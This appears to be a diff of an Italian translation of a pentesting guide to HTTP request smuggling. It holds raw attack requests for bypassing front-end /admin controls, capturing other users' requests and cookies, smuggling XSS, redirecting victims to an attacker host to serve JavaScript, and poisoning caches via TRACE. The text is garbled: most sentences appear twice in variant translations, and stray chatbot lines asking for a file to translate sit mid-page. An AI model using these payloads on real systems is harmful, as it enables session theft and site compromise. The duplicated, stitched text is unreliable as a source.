Se stai prendendo di mira un desync browser-powered/lato client, la richiesta malevola deve essere inviabile da un browser cross-origin. I trucchi di offuscamento degli header non funzioneranno. Concentrati su primitive raggiungibili tramite navigation/fetch, e poi pivot verso cache poisoning, header disclosure, o bypass dei controlli del front-end dove i componenti a valle riflettono o cachano le risposte.
Per background e workflow end-to-end:
@ -425,23 +424,23 @@ Per background e workflow end-to-end:
browser-http-request-smuggling.md
{{#endref}}
### Tooling to help decide
### Strumenti per decidere
- HTTP Hacker (Burp BApp Store): espone il comportamento HTTP a basso livello e la socket concatenation.
- HTTP Hacker (Burp BApp Store): espone il comportamento HTTP di basso livello e la concatenazione dei socket.
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: controllo preciso sul connection reuse tramite `requestsPerConnection`.
- Burp HTTP Request Smuggler: include una connectionstate probe per individuare firstrequest routing/validation.
- Burp HTTP Request Smuggler: include una connectionstate probe per individuare il routing/validation della prima richiesta.
> [!NOTE]
> Tratta gli effetti dovuti solo al reuse come non-problemi a meno che tu non riesca a dimostrare un desync lato server e collegare un impatto concreto (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
> Considera gli effetti legati esclusivamente al reuse come non-problemi a meno che tu non possa dimostrare un desync lato server e collegare un impatto concreto (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
## Abuso di HTTP Request Smuggling
### Circumventing Front-End Security via HTTP Request Smuggling
A volte, i proxy front-end applicano misure di sicurezza che scrutinano le richieste in ingresso. Tuttavia, queste misure possono essere aggirate sfruttando HTTP Request Smuggling, permettendo accesso non autorizzato a endpoint ristretti. Per esempio, l'accesso a `/admin` potrebbe essere proibito dall'esterno, con il proxy front-end che blocca attivamente tali tentativi. Nonostante ciò, questo proxy potrebbe non ispezionare le richieste embedded all'interno di una richiesta HTTP smuggled, lasciando una falla per bypassare queste restrizioni.
A volte i proxy front-end applicano misure di sicurezza, scrutinando le richieste in ingresso. Tuttavia, queste misure possono essere aggirate sfruttando HTTP Request Smuggling, permettendo accesso non autorizzato a endpoint ristretti. Ad esempio, l'accesso a `/admin` potrebbe essere vietato dall'esterno, con il proxy front-end che blocca attivamente tali tentativi. Tuttavia, questo proxy potrebbe non ispezionare le richieste incorporate all'interno di una richiesta HTTP smuggled, lasciando una falla per aggirare queste restrizioni.
Considera i seguenti esempi che illustrano come HTTP Request Smuggling possa essere usato per aggirare i controlli di sicurezza del front-end, prendendo specificamente di mira il percorso `/admin` che è tipicamente protetto dal proxy front-end:
Considera i seguenti esempi che illustrano come HTTP Request Smuggling possa essere usato per bypassare i controlli di sicurezza del front-end, mirati specificamente al percorso `/admin` che è tipicamente protetto dal proxy front-end:
**CL.TE Example**
```
@ -460,7 +459,7 @@ Content-Length: 10
x=
```
In the CL.TE attack, l'intestazione `Content-Length` viene sfruttata per la richiesta iniziale, mentre la successiva richiesta incorporata utilizza l'intestazione `Transfer-Encoding: chunked`. Il front-end proxy elabora la richiesta `POST` iniziale ma non riesce a ispezionare la richiesta incorporata `GET /admin`, consentendo l'accesso non autorizzato al percorso `/admin`.
Nell'attacco CL.TE, l'header `Content-Length` viene sfruttato per la richiesta iniziale, mentre la successiva richiesta incorporata utilizza l'header `Transfer-Encoding: chunked`. Il proxy front-end elabora la richiesta `POST` iniziale ma non riesce a ispezionare la richiesta incorporata `GET /admin`, permettendo l'accesso non autorizzato al percorso `/admin`.
**TE.CL Esempio**
```
@ -478,13 +477,13 @@ a=x
0
```
Al contrario, nell'attacco TE.CL la richiesta iniziale `POST` utilizza `Transfer-Encoding: chunked`, e la richiesta incorporata successiva viene elaborata in base all'intestazione `Content-Length`. Analogamente all'attacco CL.TE, il front-end proxy trascura la smuggled `GET /admin` request, concedendo involontariamente l'accesso al percorso protetto `/admin`.
Al contrario, nell'attacco TE.CL la richiesta iniziale `POST` utilizza `Transfer-Encoding: chunked`, e la successiva richiesta incorporata viene elaborata in base all'intestazione `Content-Length`. Analogamente all'attacco CL.TE, il proxy front-end ignora la richiesta smuggled `GET /admin`, concedendo involontariamente l'accesso al percorso ristretto `/admin`.
### Revealing front-end request rewriting <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
### Rivelare la riscrittura delle richieste del front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Le applicazioni spesso impiegano un **front-end server** per modificare le richieste in ingresso prima di inoltrarle al back-end server. Una modifica tipica consiste nell'aggiungere headers, come `X-Forwarded-For: <IP of the client>`, per inoltrare l'IP del client al back-end. Comprendere queste modifiche può essere cruciale, poiché potrebbe rivelare modi per **bypass protections** o **uncover concealed information or endpoints**.
Le applicazioni spesso impiegano un **server front-end** per modificare le richieste in arrivo prima di passarle al server back-end. Una modifica tipica prevede l'aggiunta di header, come `X-Forwarded-For: <IP of the client>`, per inoltrare l'IP del client al back-end. Comprendere queste modifiche può essere cruciale, poiché potrebbe rivelare modi per **bypassare le protezioni** o **scoprire informazioni o endpoint nascosti**.
Per verificare come un proxy altera una richiesta, individua un parametro `POST` che il back-end ripete nella risposta. Poi, crea una richiesta, usando questo parametro per ultimo, simile alla seguente:
Per verificare come un proxy modifica una richiesta, individua un parametro POST che il server back-end riporta nella risposta. Poi, costruisci una richiesta, usando questo parametro per ultimo, simile al seguente:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -501,19 +500,19 @@ Content-Length: 100
search=
```
In questa struttura, i componenti delle richieste successive vengono aggiunti dopo `search=`, che è il parametro riflesso nella risposta. Questa riflessione esporrà gli header della richiesta successiva.
In questa struttura, i componenti della richiesta successiva vengono aggiunti dopo `search=`, che è il parametro riflesso nella risposta. Questa riflessione esporrà gli headers della richiesta successiva.
È importante allineare l'header `Content-Length` della richiesta annidata con la lunghezza effettiva del contenuto. È consigliabile partire con un valore piccolo e incrementarlo gradualmente, poiché un valore troppo basso troncherà i dati riflessi, mentre un valore troppo alto può causare errori nella richiesta.
È importante allineare l'header `Content-Length` della richiesta annidata con la lunghezza effettiva del contenuto. È consigliabile iniziare con un valore piccolo e aumentarlo gradualmente, poiché un valore troppo basso troncherà i dati riflessi, mentre un valore troppo alto può causare errori nella richiesta.
Questa tecnica è applicabile anche nel contesto di una vulnerabilità TE.CL, ma la richiesta dovrebbe terminare con `search=\r\n0`. Indipendentemente dai caratteri di newline, i valori verranno aggiunti al parametro search.
Questa tecnica è applicabile anche nel contesto di una vulnerabilità TE.CL, ma la richiesta dovrebbe terminare con `search=\r\n0`. Indipendentemente dai caratteri di nuova riga, i valori verranno aggiunti al parametro `search`.
Questo metodo serve principalmente per comprendere le modifiche alle richieste effettuate dal front-end proxy, eseguendo essenzialmente un'indagine autoguidata.
Questo metodo serve principalmente a comprendere le modifiche alle richieste apportate dal proxy front-end, essenzialmente eseguendo un'indagine autodiretta.
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
### Cattura delle richieste di altri utenti <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
È possibile catturare le richieste dell'utente successivo aggiungendo una specifica request come valore di un parametro durante un'operazione POST. Ecco come può essere fatto:
È possibile catturare le richieste dell'utente successivo aggiungendo una richiesta specifica come valore di un parametro durante un'operazione POST. Ecco come può essere realizzato:
Aggiungendo la seguente request come valore di un parametro, è possibile memorizzare la richiesta del client successivo:
Appendendo la seguente richiesta come valore di un parametro, puoi memorizzare la richiesta del client successivo:
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -533,20 +532,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
In questo scenario, il **comment parameter** è destinato a memorizzare il contenuto della sezione commenti di un post su una pagina accessibile pubblicamente. Di conseguenza, il contenuto della richiesta successiva apparirà come commento.
In questo scenario, il **parametro comment** è destinato a memorizzare il contenuto della sezione commenti di un post su una pagina accessibile pubblicamente. Di conseguenza, il contenuto della richiesta successiva apparirà come un commento.
Tuttavia, questa tecnica ha dei limiti. Generalmente cattura i dati solo fino al delimitatore di parametro usato nella smuggled request. Per le URL-encoded form submissions, questo delimitatore è il carattere `&`. Ciò significa che il contenuto catturato dalla richiesta dell'utente vittima si interromperà al primo `&`, che potrebbe anche far parte della query string.
Tuttavia, questa tecnica ha delle limitazioni. Generalmente cattura i dati soltanto fino al delimitatore di parametro usato nella richiesta contrabbandata. Per le sottomissioni di form URL-encoded, questo delimitatore è il carattere `&`. Ciò significa che il contenuto catturato dalla richiesta dell'utente vittima si fermerà al primo `&`, che potrebbe anche far parte della query string.
Inoltre, vale la pena notare che questo approccio è valido anche con una vulnerabilità TE.CL. In tali casi, la richiesta dovrebbe terminare con `search=\r\n0`. Indipendentemente dai caratteri di nuova riga, i valori verranno aggiunti al parametro search.
Inoltre, vale la pena notare che questo approccio è praticabile anche con una vulnerabilità TE.CL. In tali casi, la richiesta dovrebbe terminare con `search=\r\n0`. Indipendentemente dai caratteri di nuova linea, i valori verranno aggiunti al parametro search.
### Usare HTTP Request Smuggling per sfruttare Reflected XSS
### Usare HTTP request smuggling per sfruttare reflected XSS
HTTP Request Smuggling può essere impiegato per sfruttare pagine web vulnerabili a **Reflected XSS**, offrendo vantaggi significativi:
HTTP Request Smuggling può essere sfruttato per attaccare pagine web vulnerabili a **Reflected XSS**, offrendo vantaggi significativi:
- L'interazione con gli utenti target non è **necessaria**.
- Permette lo sfruttamento di XSS in parti della richiesta che sono **normalmente inaccessibili**, come gli HTTP request headers.
- Non è richiesta alcuna interazione con gli utenti target.
- Permette di sfruttare XSS in parti della richiesta che sono **normalmente irraggiungibili**, come gli header HTTP.
Negli scenari in cui un sito è suscettibile a Reflected XSS attraverso l'User-Agent header, il payload seguente dimostra come sfruttare questa vulnerabilità:
In scenari in cui un sito è suscettibile a Reflected XSS tramite l'header User-Agent, il payload seguente dimostra come sfruttare questa vulnerabilità:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -569,24 +568,24 @@ A=
```
Questo payload è strutturato per sfruttare la vulnerabilità in questo modo:
1. Avviare una richiesta `POST`, apparentemente normale, con l'header `Transfer-Encoding: chunked` per indicare l'inizio dello smuggling.
2. Seguire con uno `0`, che segna la fine del corpo del messaggio chunked.
3. Poi viene introdotta una richiesta `GET` smuggled, dove l'header `User-Agent` viene iniettato con lo script `<script>alert(1)</script>`, innescando la XSS quando il server elabora questa richiesta successiva.
1. Avviando una richiesta `POST`, apparentemente tipica, con l'header `Transfer-Encoding: chunked` per indicare l'inizio dello smuggling.
2. Seguendo con uno `0`, che segna la fine del chunked message body.
3. Poi viene introdotta una smuggled `GET` request, in cui l'header `User-Agent` viene iniettato con lo script `<script>alert(1)</script>`, scatenando l'XSS quando il server elabora questa richiesta successiva.
Manipolando il `User-Agent` tramite smuggling, il payload aggira i normali vincoli delle richieste, sfruttando così la vulnerabilità Reflected XSS in modo non standard ma efficace.
Manipolando il `User-Agent` tramite smuggling, il payload aggira i vincoli normali delle richieste, sfruttando così la vulnerabilità Reflected XSS in modo non standard ma efficace.
#### HTTP/0.9
> [!CAUTION]
> Nel caso il contenuto dell'utente venga riflesso in una risposta con un **`Content-type`** come **`text/plain`**, ciò impedirebbe l'esecuzione della XSS. Se il server supporta **HTTP/0.9 potrebbe essere possibile bypassare questo**!
> Nel caso in cui il contenuto dell'utente venga riflesso in una risposta con un **`Content-type`** come **`text/plain`**, ciò impedirebbe l'esecuzione dell'XSS. Se il server supporta **HTTP/0.9 potrebbe essere possibile aggirare questo**!
La versione HTTP/0.9 è precedente a HTTP/1.0 e utilizza soltanto i verbi **GET** e **non** risponde con **headers**, ma solo con il body.
La versione HTTP/0.9 precede la 1.0 e usa solo il verbo **GET** e **non** risponde con **headers**, soltanto con il body.
In [**this writeup**](https://mizu.re/post/twisty-python), questo è stato sfruttato tramite request smuggling e un **endpoint vulnerabile che risponde con l'input dell'utente** per inviare di nascosto una richiesta con HTTP/0.9. Il parametro riflesso nella risposta conteneva una **falsa risposta HTTP/1.1 (con headers e body)**, quindi la risposta avrebbe contenuto codice JS eseguibile valido con un `Content-Type` di `text/html`.
In [**this writeup**](https://mizu.re/post/twisty-python), questo è stato abusato con un request smuggling e un **vulnerable endpoint that will reply with the input of the user** per smuggleare una richiesta con HTTP/0.9. Il parametro che veniva riflesso nella risposta conteneva una **fake HTTP/1.1 response (with headers and body)** così la risposta conteneva codice JS eseguibile valido con un `Content-Type` di `text/html`.
### Sfruttare i redirect on-site con HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Le applicazioni spesso reindirizzano da un URL a un altro usando il nome host preso dall'header `Host` nell'URL di redirect. Questo è comune con web server come Apache e IIS. Per esempio, richiedere una cartella senza la barra finale provoca un redirect per includere la barra:
Le applicazioni spesso reindirizzano da un URL a un altro usando il nome host presente nell'header `Host` nell'URL di redirect. Questo è comune con web server come Apache e IIS. Per esempio, richiedere una cartella senza slash finale provoca un redirect per includere lo slash:
```
GET /home HTTP/1.1
Host: normal-website.com
@ -596,7 +595,7 @@ Risultati in:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Sebbene apparentemente innocuo, questo comportamento può essere manipolato utilizzando HTTP request smuggling per reindirizzare gli utenti a un sito esterno. Ad esempio:
Sebbene apparentemente innocuo, questo comportamento può essere manipolato usando HTTP request smuggling per reindirizzare gli utenti a un sito esterno. Per esempio:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -610,7 +609,7 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
Questa smuggled request potrebbe causare che la prossima richiesta utente processata venga reindirizzata a un attacker-controlled website:
Questa smuggled request potrebbe causare che la prossima richiesta utente processata venga reindirizzata a un sito controllato dall'attaccante:
```
GET /home HTTP/1.1
Host: attacker-website.com
@ -622,15 +621,15 @@ Risultati in:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
In questo scenario, la richiesta di un file JavaScript da parte di un utente viene dirottata. L'attaccante può potenzialmente compromettere l'utente servendo JavaScript malevolo in risposta.
In questo scenario, la richiesta di un utente per un file JavaScript viene dirottata. L'attaccante può potenzialmente compromettere l'utente servendo JavaScript maligno in risposta.
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Sfruttare Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Web cache poisoning può essere eseguito se qualsiasi componente della **infrastruttura front-end memorizza nella cache i contenuti**, tipicamente per migliorare le prestazioni. Manipolando la risposta del server, è possibile **poison the cache**.
Web cache poisoning può essere eseguito se qualsiasi componente della **infrastruttura front-end memorizza nella cache il contenuto**, tipicamente per migliorare le prestazioni. Manipolando la risposta del server, è possibile **poison the cache**.
In precedenza, abbiamo visto come le risposte del server potessero essere alterate per restituire un errore 404 (vedi [Basic Examples](#basic-examples)). Allo stesso modo, è fattibile ingannare il server affinché consegni il contenuto di `/index.html` in risposta a una richiesta per `/static/include.js`. Di conseguenza, il contenuto di `/static/include.js` viene sostituito nella cache con quello di `/index.html`, rendendo `/static/include.js` inaccessibile agli utenti e potenzialmente causando un Denial of Service (DoS).
In precedenza abbiamo osservato come le risposte del server possano essere alterate per restituire un errore 404 (vedi [Basic Examples](#basic-examples)). Analogamente, è fattibile ingannare il server per far consegnare il contenuto di `/index.html` in risposta a una richiesta per `/static/include.js`. Di conseguenza, il contenuto di `/static/include.js` viene sostituito nella cache con quello di `/index.html`, rendendo `/static/include.js` inaccessibile agli utenti e potenzialmente causando un Denial of Service (DoS).
Questa tecnica diventa particolarmente potente se viene scoperta una **Open Redirect vulnerability** o se esiste un **on-site redirect to an open redirect**. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto memorizzato in cache di `/static/include.js` con uno script sotto il controllo dell'attaccante, abilitando di fatto un diffuso Cross-Site Scripting (XSS) contro tutti i client che richiedono il `/static/include.js` aggiornato.
Questa tecnica diventa particolarmente potente se viene scoperta una **Open Redirect vulnerability** o se esiste un **on-site redirect to an open redirect**. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto memorizzato nella cache di `/static/include.js` con uno script sotto il controllo dell'attaccante, permettendo di fatto un ampio attacco di Cross-Site Scripting (XSS) contro tutti i client che richiedono il `/static/include.js` aggiornato.
Di seguito è mostrata un'illustrazione dello sfruttamento di **cache poisoning combined with an on-site redirect to open redirect**. L'obiettivo è alterare il contenuto della cache di `/static/include.js` per servire codice JavaScript controllato dall'attaccante:
```
@ -650,20 +649,20 @@ Content-Length: 10
x=1
```
Nota la richiesta incorporata che punta a `/post/next?postId=3`. Questa richiesta verrà reindirizzata a `/post?postId=4`, utilizzando il **Host header value** per determinare il dominio. Modificando il **Host header**, l'attaccante può reindirizzare la richiesta al proprio dominio (**on-site redirect to open redirect**).
Nota la richiesta incorporata che prende di mira `/post/next?postId=3`. Questa richiesta sarà reindirizzata a `/post?postId=4`, utilizzando il **Host header value** per determinare il dominio. Alterando l'**Host header**, l'attaccante può reindirizzare la richiesta al proprio dominio (**on-site redirect to open redirect**).
Dopo un riuscito **socket poisoning**, dovrebbe essere inviata una **GET request** per `/static/include.js`. Questa richiesta sarà contaminata dalla precedente richiesta **on-site redirect to open redirect** e recupererà il contenuto dello script controllato dall'attaccante.
Dopo un riuscito **socket poisoning**, deve essere avviata una **GET request** per `/static/include.js`. Questa richiesta verrà contaminata dalla precedente richiesta **on-site redirect to open redirect** e recupererà il contenuto dello script controllato dall'attaccante.
Successivamente, qualsiasi richiesta per `/static/include.js` fornirà il contenuto memorizzato nella cache dello script dell'attaccante, lanciando efficacemente un ampio attacco XSS.
Successivamente, qualsiasi richiesta per `/static/include.js` servirà il contenuto memorizzato nella cache dello script dell'attaccante, innescando di fatto un ampio attacco XSS.
### Usare HTTP request smuggling per effettuare web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
### Usare HTTP request smuggling per eseguire web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **Qual è la differenza tra web cache poisoning e web cache deception?**
>
> - In **web cache poisoning**, l'attaccante fa sì che l'applicazione memorizzi del contenuto malevolo nella cache, e questo contenuto viene servito dalla cache ad altri utenti dell'applicazione.
> - In **web cache deception**, l'attaccante fa sì che l'applicazione memorizzi nella cache contenuti sensibili appartenenti a un altro utente, e poi l'attaccante recupera questo contenuto dalla cache.
> - In **web cache poisoning**, l'attaccante provoca che l'applicazione salvi del contenuto malevolo nella cache, e questo contenuto viene servito dalla cache ad altri utenti dell'applicazione.
> - In **web cache deception**, l'attaccante fa sì che l'applicazione memorizzi nella cache del contenuto sensibile appartenente a un altro utente, e poi l'attaccante recupera questo contenuto dalla cache.
L'attaccante crea una smuggled request che recupera contenuti sensibili specifici dell'utente. Considera il seguente esempio:
L'attaccante crea una smuggled request che recupera contenuti sensibili specifici per un utente. Considera il seguente esempio:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -674,17 +673,17 @@ L'attaccante crea una smuggled request che recupera contenuti sensibili specific
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
Se questa smuggled request avvelena una cache entry destinata a static content (es., `/someimage.png`), i dati sensibili della vittima provenienti da `/private/messages` potrebbero essere memorizzati sotto la cache entry del static content. Di conseguenza, l'attaccante potrebbe potenzialmente recuperare questi cached sensitive data.
Se questa smuggled request avvelena un'entry della cache destinata a contenuti statici (ad es., `/someimage.png`), i dati sensibili della vittima da `/private/messages` potrebbero essere memorizzati nella cache sotto l'entry del contenuto statico. Di conseguenza, l'attaccante potrebbe potenzialmente recuperare questi dati sensibili memorizzati nella cache.
### Abuso di TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Abuso di TRACE tramite HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**In this post**](https://portswigger.net/research/trace-desync-attack) si suggerisce che se il server ha il metodo TRACE abilitato potrebbe essere possibile abusarne con un HTTP Request Smuggling. Questo perché questo metodo riflette qualsiasi header inviato al server come parte del body della response. Per esempio:
[**In this post**](https://portswigger.net/research/trace-desync-attack) viene suggerito che se il server ha il metodo TRACE abilitato potrebbe essere possibile abusarne con un HTTP Request Smuggling. Questo perché questo metodo riflette qualsiasi header inviato al server come parte del corpo della risposta. Per esempio:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Per favore incolla il contenuto di src/pentesting-web/http-request-smuggling/README.md. Tradurrò il testo rilevante in italiano mantenendo intatta la sintassi markdown/HTML, i link, i tag e i percorsi.
Perfetto — incolla qui il contenuto di src/pentesting-web/http-request-smuggling/README.md che vuoi tradurre in italiano e lo tradurrò mantenendo esattamente la stessa sintassi Markdown/HTML e le eccezioni che hai indicato.
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -695,15 +694,15 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
Un esempio di come abusare di questo comportamento sarebbe **smuggle prima una HEAD request**. A questa request verrà risposto solo con gli **headers** di una GET request (**`Content-Type`** tra questi). E smuggle **immediatamente dopo la HEAD una TRACE request**, che sarà **riflettente i dati inviati**.\
Poiché la risposta HEAD conterrà un header `Content-Length`, la **response della TRACE request verrà trattata come il body della risposta HEAD, quindi riflettendo dati arbitrari**.\
Questa response verrà inviata alla richiesta successiva sulla connessione, quindi questo potrebbe essere **usato in un file JS cache-ato per esempio per iniettare codice JS arbitrario**.
Un esempio su come abusare di questo comportamento sarebbe smuggle first a HEAD request. Questa request verrà risposta solo con le **headers** di una GET request (**`Content-Type`** tra esse). E smuggle **immediately after the HEAD a TRACE request**, che **rifletterà i dati inviati**.\
Poiché la risposta HEAD conterrà un header `Content-Length`, la **response della TRACE request verrà trattata come il body della response HEAD, riflettendo quindi dati arbitrari** nella risposta.\
Questa response verrà inviata alla request successiva sulla connessione, quindi potrebbe essere **usata in un cached JS file per esempio per iniettare arbitrary JS code**.
### Abuso di TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Si suggerisce di continuare seguendo [**this post**](https://portswigger.net/research/trace-desync-attack) per un altro modo di abusare del metodo TRACE. Come commentato, smuggling una HEAD request e una TRACE request permette di **controllare alcuni dati riflessi** nella risposta alla HEAD request. La lunghezza del body della HEAD request è sostanzialmente indicata nell'header `Content-Length` ed è formata dalla response alla TRACE request.
Si suggerisce di continuare a seguire [**this post**](https://portswigger.net/research/trace-desync-attack) per un altro modo di abusare del metodo TRACE. Come commentato, smuggling una HEAD request e una TRACE request permette di **controllare alcuni dati riflessi** nella risposta alla HEAD request. La lunghezza del body della HEAD request è sostanzialmente indicata nell'header `Content-Length` ed è costituita dalla response alla TRACE request.
Quindi, l'idea è che, conoscendo questo Content-Length e i dati forniti nella response della TRACE, sia possibile far sì che la response della TRACE contenga una valida HTTP response dopo l'ultimo byte indicato dal Content-Length, consentendo a un attaccante di controllare completamente la request per la risposta successiva (che potrebbe essere usata per eseguire un cache poisoning).
Pertanto, l'idea sarebbe che, conoscendo questo `Content-Length` e i dati forniti nella response TRACE, sia possibile fare in modo che la response TRACE contenga una valid HTTP response dopo l'ultimo byte indicato dal `Content-Length`, permettendo a un attaccante di controllare completamente la request alla response successiva (che potrebbe essere usata per eseguire una cache poisoning).
Example:
```
@ -724,7 +723,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Genererà queste risposte (nota come la risposta HEAD ha un Content-Length che rende la risposta TRACE parte del body della HEAD e, una volta che il Content-Length della HEAD termina, una risposta HTTP valida viene smuggled):
Genererà queste responses (nota come la HEAD response abbia un Content-Length che rende la TRACE response parte del body della HEAD e, una volta che il Content-Length della HEAD termina, viene smuggled una valid HTTP response):
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -745,16 +744,16 @@ Content-Length: 50
<script>alert(arbitrary response)</script>
```
### Sfruttare HTTP Request Smuggling con HTTP Response Desynchronisation
### Strumentalizzare HTTP Request Smuggling con HTTP Response Desynchronisation
Hai trovato una vulnerabilità di HTTP Request Smuggling e non sai come sfruttarla? Prova questi altri metodi di exploitation:
Hai trovato una HTTP Request Smuggling vulnerability e non sai come exploit it. Prova questi altri metodi di exploitation:
{{#ref}}
../http-response-smuggling-desync.md
{{#endref}}
### Altre tecniche di HTTP Request Smuggling
### Altre HTTP Request Smuggling Techniques
- Browser HTTP Request Smuggling (Client Side)
@ -770,7 +769,7 @@ browser-http-request-smuggling.md
request-smuggling-in-http-2-downgrades.md
{{#endref}}
## Script Turbo intruder
## Turbo intruder scripts
### CL.TE
@ -859,14 +858,14 @@ table.add(req)
```
## Strumenti
- HTTP Hacker (Burp BApp Store) visualizzare concatenazione/framing e comportamento HTTP a basso livello
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- HTTP Hacker (Burp BApp Store) visualizza concatenazione/framing e comportamento HTTP a basso livello
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Azione personalizzata "Smuggling or pipelining?"
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Questo tool è un grammar-based HTTP Fuzzer utile per trovare strane discrepanze di request smuggling.
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Questo strumento è un HTTP Fuzzer basato su grammatica utile per trovare strane discrepanze di request smuggling.
## Riferimenti
@ -879,7 +878,7 @@ table.add(req)
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- Attenzione ai falsi falsipositivi: come distinguere HTTP pipelining da request smuggling [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- Attenzione al falso falsopositivo: come distinguere HTTP pipelining da request smuggling [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- [https://http1mustdie.com/](https://http1mustdie.com/)
- BrowserPowered Desync Attacks [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- PortSwigger Academy clientside desync [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)